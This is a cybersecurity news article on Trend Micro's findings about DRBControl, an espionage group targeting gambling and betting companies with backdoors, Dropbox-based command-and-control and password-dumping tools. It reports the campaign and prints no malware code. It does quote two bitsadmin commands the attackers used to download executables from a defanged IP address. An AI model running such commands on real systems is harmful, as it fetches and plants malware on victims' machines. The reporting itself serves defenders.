• Home
  • Cyber Crime
  • Cyber warfare
  • APT
  • Data Breach
  • Deep Web
  • Digital ID
  • Hacking
  • Hacktivism
  • Intelligence
  • Internet of Things
  • Laws and regulations
  • Malware
  • Mobile
  • Reports
  • Security
  • Social Networks
  • Terrorism
  • ICS-SCADA
  • POLICIES
  • Contact me
MUST READ

Cisco fixed critical ISE flaws allowing Root-level remote code execution

 | 

U.S. CISA adds AMI MegaRAC SPx, D-Link DIR-859 routers, and Fortinet FortiOS flaws to its Known Exploited Vulnerabilities catalog

 | 

CitrixBleed 2: The nightmare that echoes the 'CitrixBleed' flaw in Citrix NetScaler devices

 | 

Hackers deploy fake SonicWall VPN App to steal corporate credentials

 | 

Mainline Health Systems data breach impacted over 100,000 individuals

 | 

Disrupting the operations of cryptocurrency mining botnets

 | 

Prometei botnet activity has surged since March 2025

 | 

The U.S. House banned WhatsApp on government devices due to security concerns

 | 

Russia-linked APT28 use Signal chats to target Ukraine official with malware

 | 

China-linked APT Salt Typhoon targets Canadian Telecom companies

 | 

U.S. warns of incoming cyber threats following Iran airstrikes

 | 

McLaren Health Care data breach impacted over 743,000 people

 | 

American steel giant Nucor confirms data breach in May attack

 | 

The financial impact of Marks & Spencer and Co-op cyberattacks could reach £440M

 | 

Iran-Linked Threat Actors Cyber Fattah Leak Visitors and Athletes' Data from Saudi Games

 | 

SECURITY AFFAIRS MALWARE NEWSLETTER ROUND 50

 | 

Security Affairs newsletter Round 529 by Pierluigi Paganini – INTERNATIONAL EDITION

 | 

Iran confirmed it shut down internet to protect the country against cyberattacks

 | 

Godfather Android trojan uses virtualization to hijack banking and crypto apps

 | 

Cloudflare blocked record-breaking 7.3 Tbps DDoS attack against a hosting provider

 | 
  • Home
  • Cyber Crime
  • Cyber warfare
  • APT
  • Data Breach
  • Deep Web
  • Digital ID
  • Hacking
  • Hacktivism
  • Intelligence
  • Internet of Things
  • Laws and regulations
  • Malware
  • Mobile
  • Reports
  • Security
  • Social Networks
  • Terrorism
  • ICS-SCADA
  • POLICIES
  • Contact me
  • Home
  • APT
  • Breaking News
  • Cyber warfare
  • Hacking
  • Intelligence
  • Malware
  • DRBControl cyber-espionage group targets gambling, betting companies

DRBControl cyber-espionage group targets gambling, betting companies

Pierluigi Paganini February 19, 2020

The DRBControl APT group has been targeting gambling and betting companies worldwide with malware that links to two China-linked APT groups.

Security researchers from TrendMicro have uncovered a cyber espionage campaign carried out by an APT group tracked as DRBControl that employed a new family of malware. The attackers aimed at stealing databases and source code from gambling and betting companies in Southeast Asia, and likely in Europe and the Middle East.

“The threat actor is currently targeting users in Southeast Asia, particularly gambling and betting companies. Europe and the Middle East were also reported to us as being targeted, but we could not confirm this at the time of writing.” reads the analysis published by Trend Micro. “Exfiltrated data was mostly comprised of databases and source codes, which led us to believe that the group’s main purpose is cyberespionage.”

Trend Micro become aware of the new backdoor after the group targeted a company in the Philippines using both common and custom malware and exploitation tools.

Threat actors used two previously unidentified backdoors, known malware families such as PlugX and the HyperBro backdoor, as well as custom post-exploitation tools. One of the backdoors leverages the file hosting service Dropbox as command-and-control (C&C).

The group was also observed using modified versions of common malware such as PlugX RAT, Trochilus RAT, keyloggers using the Microsoft Foundation Class (MFC) library, the custom in-memory HyperBro backdoor, and a Cobalt Strike sample.

The arsenal of the attackers includes post-exploitation tools such as password dumpers (Quarks PwDump, modified Mimikatz, NetPwdDump), tools for bypassing UAC, and code loaders.

In the DRBControl’s arsenal experts recognized two main backdoors (Type 1 and Type 2) that were previously unknown in the threat landscape.

Another backdoor accompanies Type 1 and has the role of executing malware that has been downloaded from Dropbox and loaded in memory.

Type 1 backdoor is executed by employing DLL side-loading, it executes a malware that has been downloaded from Dropbox and loaded in memory.

The malware was used to steal Office and PDF documents, key logs, SQL dumps, browser cookies, a KeePass manager database.

The type 2 backdoor uses a configuration file that includes the C&C domain and connection port, as well as the directory and filename where the malware is copied. The configuration file is obfuscated in a registry key in order to achieve persistence.

Both backdoors implement a User Account Control mechanism bypass, they also implement a keylogging feature.

Researchers observed that a first variant of the Type 1 backdoor was released in late May, 2019, while version 9.0 is dated October, 2019.

The Type 2 backdoor was first released in July 2017, it was employed in a spear-phishing attack distributing a weaponized Microsoft Word document.

drbcontrol

This circumstance suggests that DRBControl has been active at least since 2017, but Trend Micro speculates it had a longer run.

Trend Micro experts believe that this is the first time that the DRBControl group is tracked by the security experts. The researchers linked the DRBControl to other China-linked APT groups, including Winnti and Emissary Panda (a.k.a. BRONZE UNION, APT27, Iron Tiger, LuckyMouse).

Evidence of the links to the Winnti group includes from mutexes, domain names and issued commands.

Researchers noticed that the attackers used two commands issued on a compromised machine to download malicious executables from a domain. One of the executables (t32d.exe) was used in the past to contact a different domain name involved campaigns associated with the Winnti infrastructure.

  • bitsadmin /transfer n http://185.173.92[.]141:33579/i610.exe c:\users\public\wget.exe
  • bitsadmin /transfer n http://185.173.92[.]141:33579/t32d.exe c:\users\public\wget.exe

Experts pointed out that the HyperBro backdoor is exclusive to Emissary Panda.

At the time it is not possible to associate with high confidence the DRBControl group with a specific threat actor, it is not completely clear if the attackers belong to a new APT group or it is a subgroup of a known APT group linked to China.

“Attribution is a complicated aspect of cybersecurity, and it is not the goal of this publication. What we have discovered in our analysis, however, is the existence of a significant number of indicators of compromise (IoCs) and intriguing connections with at least two known APT groups.” concludes TrendMicro.

“The threat actor described here shows solid and quick development capabilities regarding the custom malware used, which appears to be exclusive to them. The campaign exhibits that once an attacker gains a foothold in the targeted entity, the use of public tools can be enough to elevate privileges, perform lateral movements in the network, and exfiltrate data.”

Additional technical details, such as IoCs, are included in the report published by TrendMicro.

[adrotate banner=”9″] [adrotate banner=”12″]

Pierluigi Paganini

(SecurityAffairs – hacking, DRBControl)

[adrotate banner=”5″]

[adrotate banner=”13″]


facebook linkedin twitter

APT Cyberespionage gambling Hacking information security news it security malware Pierluigi Paganini Security Affairs Security News

you might also like

Pierluigi Paganini June 26, 2025
Cisco fixed critical ISE flaws allowing Root-level remote code execution
Read more
Pierluigi Paganini June 26, 2025
U.S. CISA adds AMI MegaRAC SPx, D-Link DIR-859 routers, and Fortinet FortiOS flaws to its Known Exploited Vulnerabilities catalog
Read more

leave a comment

newsletter

Subscribe to my email list and stay
up-to-date!

    recent articles

    Cisco fixed critical ISE flaws allowing Root-level remote code execution

    Security / June 26, 2025

    U.S. CISA adds AMI MegaRAC SPx, D-Link DIR-859 routers, and Fortinet FortiOS flaws to its Known Exploited Vulnerabilities catalog

    Security / June 26, 2025

    CitrixBleed 2: The nightmare that echoes the 'CitrixBleed' flaw in Citrix NetScaler devices

    Hacking / June 26, 2025

    Hackers deploy fake SonicWall VPN App to steal corporate credentials

    Hacking / June 25, 2025

    Mainline Health Systems data breach impacted over 100,000 individuals

    Data Breach / June 25, 2025

    To contact me write an email to:

    Pierluigi Paganini :
    pierluigi.paganini@securityaffairs.co

    LEARN MORE

    QUICK LINKS

    • Home
    • Cyber Crime
    • Cyber warfare
    • APT
    • Data Breach
    • Deep Web
    • Digital ID
    • Hacking
    • Hacktivism
    • Intelligence
    • Internet of Things
    • Laws and regulations
    • Malware
    • Mobile
    • Reports
    • Security
    • Social Networks
    • Terrorism
    • ICS-SCADA
    • POLICIES
    • Contact me

    Copyright@securityaffairs 2024

    We use cookies on our website to give you the most relevant experience by remembering your preferences and repeat visits. By clicking “Accept All”, you consent to the use of ALL the cookies. However, you may visit "Cookie Settings" to provide a controlled consent.
    Cookie SettingsAccept All
    Manage consent

    Privacy Overview

    This website uses cookies to improve your experience while you navigate through the website. Out of these cookies, the cookies that are categorized as necessary are stored on your browser as they are essential for the working of basic functionalities...
    Necessary
    Always Enabled
    Necessary cookies are absolutely essential for the website to function properly. This category only includes cookies that ensures basic functionalities and security features of the website. These cookies do not store any personal information.
    Non-necessary
    Any cookies that may not be particularly necessary for the website to function and is used specifically to collect user personal data via analytics, ads, other embedded contents are termed as non-necessary cookies. It is mandatory to procure user consent prior to running these cookies on your website.
    SAVE & ACCEPT